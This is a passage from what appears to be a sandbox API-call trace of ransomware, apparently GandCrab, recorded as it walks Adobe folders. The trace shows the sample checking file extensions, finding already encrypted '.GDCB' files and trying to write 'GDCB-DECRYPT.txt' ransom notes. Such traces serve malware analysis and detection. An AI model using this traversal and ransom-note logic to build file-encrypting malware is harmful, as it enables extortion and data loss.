(lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned 151 [0170.091] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.091] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0170.091] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0170.091] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color" [0170.091] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned 149 [0170.091] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.091] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.091] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.091] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0170.091] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 160 [0170.091] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.091] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0170.091] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0170.091] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.092] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt") returned 161 [0170.092] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.093] GetLastError () returned 0x50 [0170.093] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.093] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 144 [0170.093] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0170.093] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5a4a18 [0170.093] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.093] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.093] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.093] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.093] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.093] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.093] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.093] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat" [0170.093] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\" [0170.093] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.093] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.094] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.094] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.094] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.094] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.094] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 152 [0170.094] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0170.094] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5a4c58 [0170.094] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.094] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.094] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.094] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.094] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.094] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.094] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.094] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0170.094] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned 154 [0170.094] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.094] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.094] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.094] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0170.094] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 168 [0170.094] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.094] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0170.094] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0170.094] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.095] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt") returned 169 [0170.095] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.096] GetLastError () returned 0x50 [0170.096] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.096] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 152 [0170.096] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0170.096] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5a4c58 [0170.096] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.096] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.096] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.096] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.096] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.096] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.096] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.096] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0170.096] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\" [0170.096] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.097] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.097] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.097] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.097] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.097] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.097] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 155 [0170.097] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0170.097] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5a4dd8 [0170.097] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.097] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.097] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.097] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.097] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.097] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0170.097] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0170.097] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0170.097] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 173 [0170.097] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.097] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.097] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0170.097] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0170.097] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0170.097] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 173 [0170.097] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.097] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.097] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0170.097] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0170.097] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0170.097] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 172 [0170.097] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.097] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.098] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0170.098] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0170.098] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0170.098] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 172 [0170.098] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.098] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.098] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.098] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.098] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0170.098] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned 160 [0170.098] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.098] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.098] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.098] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0170.098] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 171 [0170.098] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.098] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.098] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2=".") returned 1 [0170.098] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2="..") returned 1 [0170.098] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0170.098] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 176 [0170.098] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.098] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.098] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2=".") returned 1 [0170.098] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2="..") returned 1 [0170.098] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0170.098] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 181 [0170.098] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.098] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.098] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0170.098] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0170.098] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0170.098] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 171 [0170.098] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.098] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0170.098] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0170.098] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application 